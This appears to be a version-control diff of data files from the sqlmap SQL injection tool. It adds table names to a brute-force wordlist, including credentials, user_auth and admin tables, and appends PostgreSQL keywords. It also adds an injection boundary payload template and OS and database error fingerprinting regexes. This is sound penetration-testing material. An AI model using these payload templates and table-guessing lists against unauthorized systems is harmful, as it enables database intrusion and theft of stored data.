@@ -1762,6 +1765,7 @@ TBLCORPUSERS
|
||||
TBLCORPORATEUSERS
|
||||
|
||||
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
||||
|
||||
tbladmins
|
||||
sort
|
||||
_wfspro_admin
|
||||
@@ -2048,6 +2052,7 @@ Login
|
||||
Logins
|
||||
|
||||
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
||||
|
||||
account
|
||||
accnts
|
||||
accnt
|
||||
@@ -2117,6 +2122,7 @@ user_pwd
|
||||
user_passwd
|
||||
|
||||
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
||||
|
||||
wsop
|
||||
Admin
|
||||
Config
|
||||
@@ -2437,9 +2443,11 @@ Affichage1name
|
||||
sb_host_adminAffichage1name
|
||||
|
||||
# site:jp
|
||||
|
||||
TypesTab
|
||||
|
||||
# site:it
|
||||
|
||||
utenti
|
||||
categorie
|
||||
attivita
|
||||
@@ -2581,6 +2589,7 @@ oil_stats_agents
|
||||
SGA_XPLAN_TPL_DBA_INDEXES
|
||||
|
||||
# site:fr
|
||||
|
||||
Avion
|
||||
departement
|
||||
Compagnie
|
||||
@@ -2751,6 +2760,7 @@ spip_ortho_dico
|
||||
spip_caches
|
||||
|
||||
# site:ru
|
||||
|
||||
guestbook
|
||||
binn_forum_settings
|
||||
binn_forms_templ
|
||||
@@ -2848,6 +2858,7 @@ binn_path_temps
|
||||
order_item
|
||||
|
||||
# site:de
|
||||
|
||||
tt_content
|
||||
kunde
|
||||
medien
|
||||
@@ -3010,6 +3021,7 @@ wp_categories
|
||||
chessmessages
|
||||
|
||||
# site:br
|
||||
|
||||
endereco
|
||||
pessoa
|
||||
usuarios
|
||||
@@ -3172,6 +3184,7 @@ LT_CUSTOM2
|
||||
LT_CUSTOM3
|
||||
|
||||
# site:es
|
||||
|
||||
jos_respuestas
|
||||
DEPARTAMENTO
|
||||
EMPLEADO
|
||||
@@ -3210,6 +3223,7 @@ grupo
|
||||
facturas
|
||||
|
||||
# site:cn
|
||||
|
||||
url
|
||||
cdb_adminactions
|
||||
BlockInfo
|
||||
@@ -3355,6 +3369,7 @@ mymps_mail_sendlist
|
||||
mymps_navurl
|
||||
|
||||
# site:tr
|
||||
|
||||
kullanici
|
||||
kullanicilar
|
||||
yonetici
|
||||
@@ -3401,6 +3416,7 @@ kontak
|
||||
kontaklar
|
||||
|
||||
# List provided by Pedrito Perez (0ark1ang3l@gmail.com)
|
||||
|
||||
adminstbl
|
||||
admintbl
|
||||
affiliateUsers
|
||||
@@ -3415,4 +3431,69 @@ userstbl
|
||||
usertbl
|
||||
|
||||
# WebGoat
|
||||
|
||||
user_data
|
||||
|
||||
# https://laurent22.github.io/so-injections/
|
||||
|
||||
accounts
|
||||
admin
|
||||
baza_site
|
||||
benutzer
|
||||
category
|
||||
comments
|
||||
company
|
||||
credentials
|
||||
Customer
|
||||
customers
|
||||
data
|
||||
details
|
||||
dhruv_users
|
||||
dt_tb
|
||||
employees
|
||||
events
|
||||
forsale
|
||||
friends
|
||||
giorni
|
||||
images
|
||||
info
|
||||
items
|
||||
kontabankowe
|
||||
login
|
||||
logs
|
||||
markers
|
||||
members
|
||||
messages
|
||||
orders
|
||||
order_table
|
||||
photos
|
||||
player
|
||||
players
|
||||
points
|
||||
register
|
||||
reports
|
||||
rooms
|
||||
shells
|
||||
signup
|
||||
songs
|
||||
student
|
||||
students
|
||||
table
|
||||
table2
|
||||
tbl_images
|
||||
tblproduct
|
||||
testv2
|
||||
tickets
|
||||
topicinfo
|
||||
trabajo
|
||||
user
|
||||
user_auth
|
||||
userinfo
|
||||
user_info
|
||||
userregister
|
||||
users
|
||||
usuarios
|
||||
utenti
|
||||
wm_products
|
||||
wp_payout_history
|
||||
zamowienia
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
||||
@@ -259,6 +259,7 @@ YEAR
|
||||
ZONE
|
||||
|
||||
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
|
||||
|
||||
ADD
|
||||
ALL
|
||||
ALTER
|
||||
@@ -450,3 +451,752 @@ WITH
|
||||
WRITEXOR
|
||||
YEAR_MONTH
|
||||
ZEROFILL
|
||||
|
||||
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
|
||||
|
||||
A
|
||||
ABORT
|
||||
ABS
|
||||
ABSENT
|
||||
ABSOLUTE
|
||||
ACCESS
|
||||
ACCORDING
|
||||
ACTION
|
||||
ADA
|
||||
ADD
|
||||
ADMIN
|
||||
AFTER
|
||||
AGGREGATE
|
||||
ALL
|
||||
ALLOCATE
|
||||
ALSO
|
||||
ALTER
|
||||
ALWAYS
|
||||
ANALYSE
|
||||
ANALYZE
|
||||
AND
|
||||
ANY
|
||||
ARE
|
||||
ARRAY
|
||||
ARRAY_AGG
|
||||
ARRAY_MAX_CARDINALITY
|
||||
AS
|
||||
ASC
|
||||
ASENSITIVE
|
||||
ASSERTION
|
||||
ASSIGNMENT
|
||||
ASYMMETRIC
|
||||
AT
|
||||
ATOMIC
|
||||
ATTRIBUTE
|
||||
ATTRIBUTES
|
||||
AUTHORIZATION
|
||||
AVG
|
||||
BACKWARD
|
||||
BASE64
|
||||
BEFORE
|
||||
BEGIN
|
||||
BEGIN_FRAME
|
||||
BEGIN_PARTITION
|
||||
BERNOULLI
|
||||
BETWEEN
|
||||
BIGINT
|
||||
BINARY
|
||||
BIT
|
||||
BIT_LENGTH
|
||||
BLOB
|
||||
BLOCKED
|
||||
BOM
|
||||
BOOLEAN
|
||||
BOTH
|
||||
BREADTH
|
||||
BY
|
||||
C
|
||||
CACHE
|
||||
CALL
|
||||
CALLED
|
||||
CARDINALITY
|
||||
CASCADE
|
||||
CASCADED
|
||||
CASE
|
||||
CAST
|
||||
CATALOG
|
||||
CATALOG_NAME
|
||||
CEIL
|
||||
CEILING
|
||||
CHAIN
|
||||
CHAR
|
||||
CHARACTER
|
||||
CHARACTERISTICS
|
||||
CHARACTERS
|
||||
CHARACTER_LENGTH
|
||||
CHARACTER_SET_CATALOG
|
||||
CHARACTER_SET_NAME
|
||||
CHARACTER_SET_SCHEMA
|
||||
CHAR_LENGTH
|
||||
CHECK
|
||||
CHECKPOINT
|
||||
CLASS
|
||||
CLASS_ORIGIN
|
||||
CLOB
|
||||
CLOSE
|
||||
CLUSTER
|
||||
COALESCE
|
||||
COBOL
|
||||
COLLATE
|
||||
COLLATION
|
||||
COLLATION_CATALOG
|
||||
COLLATION_NAME
|
||||
COLLATION_SCHEMA
|
||||
COLLECT
|
||||
COLUMN
|
||||
COLUMNS
|
||||
COLUMN_NAME
|
||||
COMMAND_FUNCTION
|
||||
COMMAND_FUNCTION_CODE
|
||||
COMMENT
|
||||
COMMENTS
|
||||
COMMIT
|
||||
COMMITTED
|
||||
CONCURRENTLY
|
||||
CONDITION
|
||||
CONDITION_NUMBER
|
||||
CONFIGURATION
|
||||
CONNECT
|
||||
CONNECTION
|
||||
CONNECTION_NAME
|
||||
CONSTRAINT
|
||||
CONSTRAINTS
|
||||
CONSTRAINT_CATALOG
|
||||
CONSTRAINT_NAME
|
||||
CONSTRAINT_SCHEMA
|
||||
CONSTRUCTOR
|
||||
CONTAINS
|
||||
CONTENT
|
||||
CONTINUE
|
||||
CONTROL
|
||||
CONVERSION
|
||||
CONVERT
|
||||
COPY
|
||||
CORR
|
||||
CORRESPONDING
|
||||
COST
|
||||
COUNT
|
||||
COVAR_POP
|
||||
COVAR_SAMP
|
||||
CREATE
|
||||
CROSS
|
||||
CSV
|
||||
CUBE
|
||||
CUME_DIST
|
||||
CURRENT
|
||||
CURRENT_CATALOG
|
||||
CURRENT_DATE
|
||||
CURRENT_DEFAULT_TRANSFORM_GROUP
|
||||
CURRENT_PATH
|
||||
CURRENT_ROLE
|
||||
CURRENT_ROW
|
||||
CURRENT_SCHEMA
|
||||
CURRENT_TIME
|
||||
CURRENT_TIMESTAMP
|
||||
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||
CURRENT_USER
|
||||
CURSOR
|
||||
CURSOR_NAME
|
||||
CYCLE
|
||||
DATA
|
||||
DATABASE
|
||||
DATALINK
|
||||
DATE
|
||||
DATETIME_INTERVAL_CODE
|
||||
DATETIME_INTERVAL_PRECISION
|
||||
DAY
|
||||
DB
|
||||
DEALLOCATE
|
||||
DEC
|
||||
DECIMAL
|
||||
DECLARE
|
||||
DEFAULT
|
||||
DEFAULTS
|
||||
DEFERRABLE
|
||||
DEFERRED
|
||||
DEFINED
|
||||
DEFINER
|
||||
DEGREE
|
||||
DELETE
|
||||
DELIMITER
|
||||
DELIMITERS
|
||||
DENSE_RANK
|
||||
DEPTH
|
||||
DEREF
|
||||
DERIVED
|
||||
DESC
|
||||
DESCRIBE
|
||||
DESCRIPTOR
|
||||
DETERMINISTIC
|
||||
DIAGNOSTICS
|
||||
DICTIONARY
|
||||
DISABLE
|
||||
DISCARD
|
||||
DISCONNECT
|
||||
DISPATCH
|
||||
DISTINCT
|
||||
DLNEWCOPY
|
||||
DLPREVIOUSCOPY
|
||||
DLURLCOMPLETE
|
||||
DLURLCOMPLETEONLY
|
||||
DLURLCOMPLETEWRITE
|
||||
DLURLPATH
|
||||
DLURLPATHONLY
|
||||
DLURLPATHWRITE
|
||||
DLURLSCHEME
|
||||
DLURLSERVER
|
||||
DLVALUE
|
||||
DO
|
||||
DOCUMENT
|
||||
DOMAIN
|
||||
DOUBLE
|
||||
DROP
|
||||
DYNAMIC
|
||||
DYNAMIC_FUNCTION
|
||||
DYNAMIC_FUNCTION_CODE
|
||||
EACH
|
||||
ELEMENT
|
||||
ELSE
|
||||
EMPTY
|
||||
ENABLE
|
||||
ENCODING
|
||||
ENCRYPTED
|
||||
END
|
||||
END-EXEC
|
||||
END_FRAME
|
||||
END_PARTITION
|
||||
ENFORCED
|
||||
ENUM
|
||||
EQUALS
|
||||
ESCAPE
|
||||
EVENT
|
||||
EVERY
|
||||
EXCEPT
|
||||
EXCEPTION
|
||||
EXCLUDE
|
||||
EXCLUDING
|
||||
EXCLUSIVE
|
||||
EXEC
|
||||
EXECUTE
|
||||
EXISTS
|
||||
EXP
|
||||
EXPLAIN
|
||||
EXPRESSION
|
||||
EXTENSION
|
||||
EXTERNAL
|
||||
EXTRACT
|
||||
FALSE
|
||||
FAMILY
|
||||
FETCH
|
||||
FILE
|
||||
FILTER
|
||||
FINAL
|
||||
FIRST
|
||||
FIRST_VALUE
|
||||
FLAG
|
||||
FLOAT
|
||||
FLOOR
|
||||
FOLLOWING
|
||||
FOR
|
||||
FORCE
|
||||
FOREIGN
|
||||
FORTRAN
|
||||
FORWARD
|
||||
FOUND
|
||||
FRAME_ROW
|
||||
FREE
|
||||
FREEZE
|
||||
FROM
|
||||
FS
|
||||
FULL
|
||||
FUNCTION
|
||||
FUNCTIONS
|
||||
FUSION
|
||||
G
|
||||
GENERAL
|
||||
GENERATED
|
||||
GET
|
||||
GLOBAL
|
||||
GO
|
||||
GOTO
|
||||
GRANT
|
||||
GRANTED
|
||||
GREATEST
|
||||
GROUP
|
||||
GROUPING
|
||||
GROUPS
|
||||
HANDLER
|
||||
HAVING
|
||||
HEADER
|
||||
HEX
|
||||
HIERARCHY
|
||||
HOLD
|
||||
HOUR
|
||||
ID
|
||||
IDENTITY
|
||||
IF
|
||||
IGNORE
|
||||
ILIKE
|
||||
IMMEDIATE
|
||||
IMMEDIATELY
|
||||
IMMUTABLE
|
||||
IMPLEMENTATION
|
||||
IMPLICIT
|
||||
IMPORT
|
||||
IN
|
||||
INCLUDING
|
||||
INCREMENT
|
||||
INDENT
|
||||
INDEX
|
||||
INDEXES
|
||||
INDICATOR
|
||||
INHERIT
|
||||
INHERITS
|
||||
INITIALLY
|
||||
INLINE
|
||||
INNER
|
||||
INOUT
|
||||
INPUT
|
||||
INSENSITIVE
|
||||
INSERT
|
||||
INSTANCE
|
||||
INSTANTIABLE
|
||||
INSTEAD
|
||||
INT
|
||||
INTEGER
|
||||
INTEGRITY
|
||||
INTERSECT
|
||||
INTERSECTION
|
||||
INTERVAL
|
||||
INTO
|
||||
INVOKER
|
||||
IS
|
||||
ISNULL
|
||||
ISOLATION
|
||||
JOIN
|
||||
K
|
||||
KEY
|
||||
KEY_MEMBER
|
||||
KEY_TYPE
|
||||
LABEL
|
||||
LAG
|
||||
LANGUAGE
|
||||
LARGE
|
||||
LAST
|
||||
LAST_VALUE
|
||||
LATERAL
|
||||
LC_COLLATE
|
||||
LC_CTYPE
|
||||
LEAD
|
||||
LEADING
|
||||
LEAKPROOF
|
||||
LEAST
|
||||
LEFT
|
||||
LENGTH
|
||||
LEVEL
|
||||
LIBRARY
|
||||
LIKE
|
||||
LIKE_REGEX
|
||||
LIMIT
|
||||
LINK
|
||||
LISTEN
|
||||
LN
|
||||
LOAD
|
||||
LOCAL
|
||||
LOCALTIME
|
||||
LOCALTIMESTAMP
|
||||
LOCATION
|
||||
LOCATOR
|
||||
LOCK
|
||||
LOWER
|
||||
M
|
||||
MAP
|
||||
MAPPING
|
||||
MATCH
|
||||
MATCHED
|
||||
MATERIALIZED
|
||||
MAX
|
||||
MAXVALUE
|
||||
MAX_CARDINALITY
|
||||
MEMBER
|
||||
MERGE
|
||||
MESSAGE_LENGTH
|
||||
MESSAGE_OCTET_LENGTH
|
||||
MESSAGE_TEXT
|
||||
METHOD
|
||||
MIN
|
||||
MINUTE
|
||||
MINVALUE
|
||||
MOD
|
||||
MODE
|
||||
MODIFIES
|
||||
MODULE
|
||||
MONTH
|
||||
MORE
|
||||
MOVE
|
||||
MULTISET
|
||||
MUMPS
|
||||
NAME
|
||||
NAMES
|
||||
NAMESPACE
|
||||
NATIONAL
|
||||
NATURAL
|
||||
NCHAR
|
||||
NCLOB
|
||||
NESTING
|
||||
NEW
|
||||
NEXT
|
||||
NFC
|
||||
NFD
|
||||
NFKC
|
||||
NFKD
|
||||
NIL
|
||||
NO
|
||||
NONE
|
||||
NORMALIZE
|
||||
NORMALIZED
|
||||
NOT
|
||||
NOTHING
|
||||
NOTIFY
|
||||
NOTNULL
|
||||
NOWAIT
|
||||
NTH_VALUE
|
||||
NTILE
|
||||
NULL
|
||||
NULLABLE
|
||||
NULLIF
|
||||
NULLS
|
||||
NUMBER
|
||||
NUMERIC
|
||||
OBJECT
|
||||
OCCURRENCES_REGEX
|
||||
OCTETS
|
||||
OCTET_LENGTH
|
||||
OF
|
||||
OFF
|
||||
OFFSET
|
||||
OIDS
|
||||
OLD
|
||||
ON
|
||||
ONLY
|
||||
OPEN
|
||||
OPERATOR
|
||||
OPTION
|
||||
OPTIONS
|
||||
OR
|
||||
ORDER
|
||||
ORDERING
|
||||
ORDINALITY
|
||||
OTHERS
|
||||
OUT
|
||||
OUTER
|
||||
OUTPUT
|
||||
OVER
|
||||
OVERLAPS
|
||||
OVERLAY
|
||||
OVERRIDING
|
||||
OWNED
|
||||
OWNER
|
||||
P
|
||||
PAD
|
||||
PARAMETER
|
||||
PARAMETER_MODE
|
||||
PARAMETER_NAME
|
||||
PARAMETER_ORDINAL_POSITION
|
||||
PARAMETER_SPECIFIC_CATALOG
|
||||
PARAMETER_SPECIFIC_NAME
|
||||
PARAMETER_SPECIFIC_SCHEMA
|
||||
PARSER
|
||||
PARTIAL
|
||||
PARTITION
|
||||
PASCAL
|
||||
PASSING
|
||||
PASSTHROUGH
|
||||
PASSWORD
|
||||
PATH
|
||||
PERCENT
|
||||
PERCENTILE_CONT
|
||||
PERCENTILE_DISC
|
||||
PERCENT_RANK
|
||||
PERIOD
|
||||
PERMISSION
|
||||
PLACING
|
||||
PLANS
|
||||
PLI
|
||||
PORTION
|
||||
POSITION
|
||||
POSITION_REGEX
|
||||
POWER
|
||||
PRECEDES
|
||||
PRECEDING
|
||||
PRECISION
|
||||
PREPARE
|
||||
PREPARED
|
||||
PRESERVE
|
||||
PRIMARY
|
||||
PRIOR
|
||||
PRIVILEGES
|
||||
PROCEDURAL
|
||||
PROCEDURE
|
||||
PROGRAM
|
||||
PUBLIC
|
||||
QUOTE
|
||||
RANGE
|
||||
RANK
|
||||
READ
|
||||
READS
|
||||
REAL
|
||||
REASSIGN
|
||||
RECHECK
|
||||
RECOVERY
|
||||
RECURSIVE
|
||||
REF
|
||||
REFERENCES
|
||||
REFERENCING
|
||||
REFRESH
|
||||
REGR_AVGX
|
||||
REGR_AVGY
|
||||
REGR_COUNT
|
||||
REGR_INTERCEPT
|
||||
REGR_R2
|
||||
REGR_SLOPE
|
||||
REGR_SXX
|
||||
REGR_SXY
|
||||
REGR_SYY
|
||||
REINDEX
|
||||
RELATIVE
|
||||
RELEASE
|
||||
RENAME
|
||||
REPEATABLE
|
||||
REPLACE
|
||||
REPLICA
|
||||
REQUIRING
|
||||
RESET
|
||||
RESPECT
|
||||
RESTART
|
||||
RESTORE
|
||||
RESTRICT
|
||||
RESULT
|
||||
RETURN
|
||||
RETURNED_CARDINALITY
|
||||
RETURNED_LENGTH
|
||||
RETURNED_OCTET_LENGTH
|
||||
RETURNED_SQLSTATE
|
||||
RETURNING
|
||||
RETURNS
|
||||
REVOKE
|
||||
RIGHT
|
||||
ROLE
|
||||
ROLLBACK
|
||||
ROLLUP
|
||||
ROUTINE
|
||||
ROUTINE_CATALOG
|
||||
ROUTINE_NAME
|
||||
ROUTINE_SCHEMA
|
||||
ROW
|
||||
ROWS
|
||||
ROW_COUNT
|
||||
ROW_NUMBER
|
||||
RULE
|
||||
SAVEPOINT
|
||||
SCALE
|
||||
SCHEMA
|
||||
SCHEMA_NAME
|
||||
SCOPE
|
||||
SCOPE_CATALOG
|
||||
SCOPE_NAME
|
||||
SCOPE_SCHEMA
|
||||
SCROLL
|
||||
SEARCH
|
||||
SECOND
|
||||
SECTION
|
||||
SECURITY
|
||||
SELECT
|
||||
SELECTIVE
|
||||
SELF
|
||||
SENSITIVE
|
||||
SEQUENCE
|
||||
SEQUENCES
|
||||
SERIALIZABLE
|
||||
SERVER
|
||||
SERVER_NAME
|
||||
SESSION
|
||||
SESSION_USER
|
||||
SET
|
||||
SETOF
|
||||
SETS
|
||||
SHARE
|
||||
SHOW
|
||||
SIMILAR
|
||||
SIMPLE
|
||||
SIZE
|
||||
SMALLINT
|
||||
SNAPSHOT
|
||||
SOME
|
||||
SOURCE
|
||||
SPACE
|
||||
SPECIFIC
|
||||
SPECIFICTYPE
|
||||
SPECIFIC_NAME
|
||||
SQL
|
||||
SQLCODE
|
||||
SQLERROR
|
||||
SQLEXCEPTION
|
||||
SQLSTATE
|
||||
SQLWARNING
|
||||
SQRT
|
||||
STABLE
|
||||
STANDALONE
|
||||
START
|
||||
STATE
|
||||
STATEMENT
|
||||
STATIC
|
||||
STATISTICS
|
||||
STDDEV_POP
|
||||
STDDEV_SAMP
|
||||
STDIN
|
||||
STDOUT
|
||||
STORAGE
|
||||
STRICT
|
||||
STRIP
|
||||
STRUCTURE
|
||||
STYLE
|
||||
SUBCLASS_ORIGIN
|
||||
SUBMULTISET
|
||||
SUBSTRING
|
||||
SUBSTRING_REGEX
|
||||
SUCCEEDS
|
||||
SUM
|
||||
SYMMETRIC
|
||||
SYSID
|
||||
SYSTEM
|
||||
SYSTEM_TIME
|
||||
SYSTEM_USER
|
||||
T
|
||||
TABLE
|
||||
TABLES
|
||||
TABLESAMPLE
|
||||
TABLESPACE
|
||||
TABLE_NAME
|
||||
TEMP
|
||||
TEMPLATE
|
||||
TEMPORARY
|
||||
TEXT
|
||||
THEN
|
||||
TIES
|
||||
TIME
|
||||
TIMESTAMP
|
||||
TIMEZONE_HOUR
|
||||
TIMEZONE_MINUTE
|
||||
TO
|
||||
TOKEN
|
||||
TOP_LEVEL_COUNT
|
||||
TRAILING
|
||||
TRANSACTION
|
||||
TRANSACTIONS_COMMITTED
|
||||
TRANSACTIONS_ROLLED_BACK
|
||||
TRANSACTION_ACTIVE
|
||||
TRANSFORM
|
||||
TRANSFORMS
|
||||
TRANSLATE
|
||||
TRANSLATE_REGEX
|
||||
TRANSLATION
|
||||
TREAT
|
||||
TRIGGER
|
||||
TRIGGER_CATALOG
|
||||
TRIGGER_NAME
|
||||
TRIGGER_SCHEMA
|
||||
TRIM
|
||||
TRIM_ARRAY
|
||||
TRUE
|
||||
TRUNCATE
|
||||
TRUSTED
|
||||
TYPE
|
||||
TYPES
|
||||
UESCAPE
|
||||
UNBOUNDED
|
||||
UNCOMMITTED
|
||||
UNDER
|
||||
UNENCRYPTED
|
||||
UNION
|
||||
UNIQUE
|
||||
UNKNOWN
|
||||
UNLINK
|
||||
UNLISTEN
|
||||
UNLOGGED
|
||||
UNNAMED
|
||||
UNNEST
|
||||
UNTIL
|
||||
UNTYPED
|
||||
UPDATE
|
||||
UPPER
|
||||
URI
|
||||
USAGE
|
||||
USER
|
||||
USER_DEFINED_TYPE_CATALOG
|
||||
USER_DEFINED_TYPE_CODE
|
||||
USER_DEFINED_TYPE_NAME
|
||||
USER_DEFINED_TYPE_SCHEMA
|
||||
USING
|
||||
VACUUM
|
||||
VALID
|
||||
VALIDATE
|
||||
VALIDATOR
|
||||
VALUE
|
||||
VALUES
|
||||
VALUE_OF
|
||||
VARBINARY
|
||||
VARCHAR
|
||||
VARIADIC
|
||||
VARYING
|
||||
VAR_POP
|
||||
VAR_SAMP
|
||||
VERBOSE
|
||||
VERSION
|
||||
VERSIONING
|
||||
VIEW
|
||||
VOLATILE
|
||||
WHEN
|
||||
WHENEVER
|
||||
WHERE
|
||||
WHITESPACE
|
||||
WIDTH_BUCKET
|
||||
WINDOW
|
||||
WITH
|
||||
WITHIN
|
||||
WITHOUT
|
||||
WORK
|
||||
WRAPPER
|
||||
WRITE
|
||||
XML
|
||||
XMLAGG
|
||||
XMLATTRIBUTES
|
||||
XMLBINARY
|
||||
XMLCAST
|
||||
XMLCOMMENT
|
||||
XMLCONCAT
|
||||
XMLDECLARATION
|
||||
XMLDOCUMENT
|
||||
XMLELEMENT
|
||||
XMLEXISTS
|
||||
XMLFOREST
|
||||
XMLITERATE
|
||||
XMLNAMESPACES
|
||||
XMLPARSE
|
||||
XMLPI
|
||||
XMLQUERY
|
||||
XMLROOT
|
||||
XMLSCHEMA
|
||||
XMLSERIALIZE
|
||||
XMLTABLE
|
||||
XMLTEXT
|
||||
XMLVALIDATE
|
||||
YEAR
|
||||
YES
|
||||
ZONE
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,4 +1,4 @@
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Opera
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -83,6 +83,10 @@
|
||||
<info type="Linux"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="\bArch\b">
|
||||
<info type="Linux" distrib="Arch"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="CentOS">
|
||||
<info type="Linux" distrib="CentOS"/>
|
||||
</regexp>
|
||||
@@ -115,10 +119,22 @@
|
||||
<info type="Linux" distrib="Mandrake"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Manjaro">
|
||||
<info type="Linux" distrib="Manjaro"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Mandriva">
|
||||
<info type="Linux" distrib="Mandriva"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="\bMint\b">
|
||||
<info type="Linux" distrib="Mint"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="\bPuppy\b">
|
||||
<info type="Linux" distrib="Puppy"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Red[\-\_\ ]?Hat">
|
||||
<info type="Linux" distrib="Red Hat"/>
|
||||
</regexp>
|
||||
|
||||
@@ -213,6 +213,15 @@ Formats:
|
||||
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>3</ptype>
|
||||
<prefix>%'</prefix>
|
||||
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
|
||||
@@ -1,22 +1,26 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- MySQL -->
|
||||
<dbms value="MySQL">
|
||||
<error regexp="SQL syntax.*?MySQL"/>
|
||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||
<error regexp="MySQLSyntaxErrorException"/>
|
||||
<error regexp="valid MySQL result"/>
|
||||
<error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||
<error regexp="MySqlClient\."/>
|
||||
<error regexp="com\.mysql\.jdbc"/>
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
||||
<error regexp="Pdo[./_\\]Mysql"/>
|
||||
<error regexp="MySqlException"/>
|
||||
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
||||
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||
</dbms>
|
||||
|
||||
<!-- PostgreSQL -->
|
||||
<dbms value="PostgreSQL">
|
||||
<error regexp="PostgreSQL.*?ERROR"/>
|
||||
<error regexp="Warning.*?\Wpg_"/>
|
||||
@@ -32,7 +36,6 @@
|
||||
<error regexp="PSQLException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft SQL Server -->
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
||||
<error regexp="OLE DB.*? SQL Server"/>
|
||||
@@ -54,7 +57,6 @@
|
||||
<error regexp="SQL(Srv|Server)Exception"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft Access -->
|
||||
<dbms value="Microsoft Access">
|
||||
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
||||
<error regexp="JET Database Engine"/>
|
||||
@@ -63,7 +65,6 @@
|
||||
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Oracle -->
|
||||
<dbms value="Oracle">
|
||||
<error regexp="\bORA-\d{5}"/>
|
||||
<error regexp="Oracle error"/>
|
||||
@@ -78,7 +79,6 @@
|
||||
<error regexp="OracleException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- IBM DB2 -->
|
||||
<dbms value="IBM DB2">
|
||||
<error regexp="CLI Driver.*?DB2"/>
|
||||
<error regexp="DB2 SQL error"/>
|
||||
@@ -88,9 +88,9 @@
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||
<error regexp="Pdo[./_\\]Ibm"/>
|
||||
<error regexp="DB2Exception"/>
|
||||
<error regexp="ibm_db_dbi\.ProgrammingError"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Informix -->
|
||||
<dbms value="Informix">
|
||||
<error regexp="Warning.*?\Wifx_"/>
|
||||
<error regexp="Exception.*?Informix"/>
|
||||
@@ -110,7 +110,6 @@
|
||||
<error regexp="Pdo[./_\\]Firebird"/>
|
||||
</dbms>
|
||||
|
||||
<!-- SQLite -->
|
||||
<dbms value="SQLite">
|
||||
<error regexp="SQLite/JDBCDriver"/>
|
||||
<error regexp="SQLite\.Exception"/>
|
||||
@@ -125,15 +124,15 @@
|
||||
<error regexp="SQLiteException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- SAP MaxDB -->
|
||||
<dbms value="SAP MaxDB">
|
||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||
<error regexp="DriverSapDB"/>
|
||||
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
||||
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
||||
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Sybase -->
|
||||
<dbms value="Sybase">
|
||||
<error regexp="Warning.*?\Wsybase_"/>
|
||||
<error regexp="Sybase message"/>
|
||||
@@ -143,7 +142,6 @@
|
||||
<error regexp="com\.sybase\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
